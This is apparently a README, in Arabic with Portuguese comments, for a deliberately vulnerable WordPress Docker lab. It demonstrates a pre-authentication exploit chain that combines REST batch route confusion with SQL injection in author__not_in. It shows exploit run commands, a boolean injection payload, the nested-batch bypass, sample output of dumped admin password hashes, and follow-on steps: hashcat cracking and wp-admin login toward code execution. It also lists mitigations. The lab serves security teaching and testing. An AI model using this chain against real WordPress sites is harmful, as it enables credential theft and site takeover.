
مختبر ووردبريس ضعيف مبني على Docker مع استغلال بايثون يوضح سلسلة التباس التوجيه قبل المصادقة وحقن SQL (CVE-2026-63030 + CVE-2026-60137) لاستخراج بيانات الاعتماد وتنفيذ التعليمات البرمجية عن بُعد (RCE).
بيئة Docker معرّضة للثغرات عمدًا وتشغّل WordPress Core 7.0.1، مع استغلال بلغة Python يوضّح سلسلة ما قبل المصادقة wp2shell:
| CVE | المكوّن | الوصف |
|---|---|---|
| CVE-2026-63030 | REST API /wp-json/batch/v1 | Route confusion: عدم تزامن بين التحقق من صحة الطلبات الفرعية وتوزيعها (dispatch) |
| CVE-2026-60137 | WP_Query (author__not_in) | حقن SQL عندما تكون القيمة سلسلة نصية بدلاً من مصفوفة |
عند دمجها، تسمح لمهاجم بدون أي بيانات اعتماد بتنفيذ SQL عشوائي (وفي التسلسل الكامل، الوصول إلى RCE). أُصلحت في WordPress 6.9.5 و7.0.2. الإصدارات المتأثرة بسلسلة RCE: 6.9.0–6.9.4 و7.0.0–7.0.1.
⚠️ تحذير: بيئة غير آمنة عن قصد. استخدمها محليًا فقط، معزولة. لا تعرّضها للإنترنت أبدًا. يجب استخدام الاستغلال فقط ضد هذا المختبر (أو الأنظمة التي لديك إذن صريح لاستهدافها).
docker compose up -d db wordpress # sobe MySQL + WordPress 7.0.1
docker compose run --rm wpcli # instala o WP e cria conteúdo/usuários
يتم إنشاء ما يلي:
admin / SuperSecret123!victim / Victim_P@ss_2026 (المسؤول الثاني، هدف استخراج التجزئة)get_items() صفوفًا)تأكد من الإصدار المعرّض للثغرة:
curl -s "http://localhost:8080/index.php?rest_route=/" | grep -o '"version":"[^"]*"'
# ... ou:
docker exec wp2shell-cli wp core version # 7.0.1
python3 exploit.py --url http://localhost:8080
المخرجات (مختصرة):
[+] Route confusion OK: GET /wp/v2/users executou sob posts get_items()
[+] SQL injection cega confirmada (oráculo booleano 1=1 vs 1=2)
[*] Fingerprint do banco de dados:
versão MySQL = 8.0.46
usuário atual = wordpress@%
database = wordpress
[+] Credenciais extraídas (pré-autenticação, sem login):
ID=1 login=admin
hash=$wp$2y$10$tjd0.l/QQOhp9eQpwrufMuYVrjv4kVoJMfmA3f2ZZew51rND7o94q
ID=2 login=victim
hash=$wp$2y$10$3Nv1oxyfIe/yKqNd/AUZSOZqQYWiJHfNAKBPdbjMhqTtVBDbuBO0e
خيارات أخرى:
python3 exploit.py --url http://localhost:8080 --sql "SELECT @@version" # SQL arbitrário
python3 exploit.py --url http://localhost:8080 --mode time # blind time-based
python3 exploit.py --url http://localhost:8080 -v # mostra cada query
يستخدم الاستغلال مكتبة Python 3 القياسية فقط (بدون أي تبعيات).
docker exec wp2shell-db mysql -uroot -prootpass -N \
-e "SELECT ID,user_login,user_pass FROM wordpress.wp_users;"
يجب أن تكون التجزئات مطابقة تمامًا لتلك التي استخرجها الاستغلال (الذي لم يحصل أبدًا على وصول إلى قاعدة البيانات).
serve_batch_request_v1)في wp-includes/rest-api/class-wp-rest-server.php، يستخدم معالج الدفعات (batch handler) مصفوفتين متوازيتين: $matches (المسارات/المعالجات المتطابقة) و$validation (نتيجة التحقق):
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) { // ex.: path "///" -> wp_parse_url()==false
$has_error = true;
$validation[] = $single_request; // <-- entra SÓ em $validation
continue; // <-- $matches NÃO recebe entrada => desync!
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
...
$validation[] = $error ? $error : true;
}
عند التوزيع (dispatch)، يُقرأ المعالج حسب الفهرس من $matches[$i]، بينما يتبع $single_request و$validation[$i] الفهرس الكامل لـ$requests. يتسبب ممهّد (primer) يفشل تحليله ("///") في إزاحة كل شيء داخل $matches موضعًا واحدًا — ومن ثم يتم تنفيذ طلب فرعي تحت معالج طلب آخر.
مخطط الدفعة (batch schema) لا يقبل سوى الطرق POST/PUT/PATCH/DELETE (يُرفض GET برمز rest_not_in_enum). يلتفّ الاستغلال حول ذلك باستخدام دفعة داخل دفعة:
BATCH EXTERNO (métodos válidos):
[ primer("///"),
carrier = POST /wp/v2/posts (body = BATCH INTERNO),
POST /batch/v1 ]
carrier باعتباره create_item للمقالات (يجتاز: allow_batch=true، دون معاملات إلزامية). وبما أنه ليس مُتحقَّقًا منه كدفعة، فإن body الخاص به يتفادى التحقق من تعداد الطرق (method enum).carrier تحت معالج /batch/v1 (المسلوب من الطلب الفرعي الثالث) ← تقوم serve_batch_request_v1 بمعالجة الـ body الخام مع طلبات فرعية GET.BATCH INTERNO:
[ primer("///"),
GET /wp/v2/users?author_exclude=<PAYLOAD>, <-- users NÃO define author_exclude => valor cru
GET /wp/v2/posts ]
عدم تزامن داخلي جديد ← يتم تنفيذ الطلب GET /wp/v2/users (الذي يحمل author_exclude غير مُنقّى) تحت posts get_items(). وهناك:
// class-wp-rest-posts-controller.php
'author_exclude' => 'author__not_in', // mapeamento
وفي WP_Query (class-wp-query.php)، الكود المعرّض للثغرة:
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) { // <-- string PULA a sanitização
$query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) );
sort( ... );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // <-- injeção
}
الحمولة المنطقية المستخدمة: 0) AND (<condição>)-- -، مما يحوّل WHERE إلى أوراكل (قائمة تحتوي مقالات = صحيح؛ قائمة فارغة = خطأ). استخراج حرف-ب-حرف عبر البحث الثنائي.
ملاحظة: يكون المسار قابلًا للوصول عندما لا توجد ذاكرة تخزين مؤقتة دائمة للكائنات (object cache) (وهو الوضع الافتراضي في المختبر)، كما هو موصوف في النشرة الأمنية.
يتحقق هذا المختبر من الجزء ما قبل المصادقة (التباس المسارات ← حقن SQL ← تسريب التجزئات)، وهو قلب السلسلة. يستمر التسلسل الكامل في النشرة الأمنية بـ:
$wp$2y$... (bcrypt) دون اتصال — hashcat -m 3200./wp-admin بكلمة المرور المستعادة.author__not_in إلى أعداد صحيحة (wp_parse_id_list) حتى عندما يكون سلسلة نصية؛/wp-json/batch/v1، وتعطيل REST API غير المُصادَق عليها، ومراقبة الطلبات التي تحتوي author_exclude على SQL.docker compose down -v # remove containers + volumes (dados)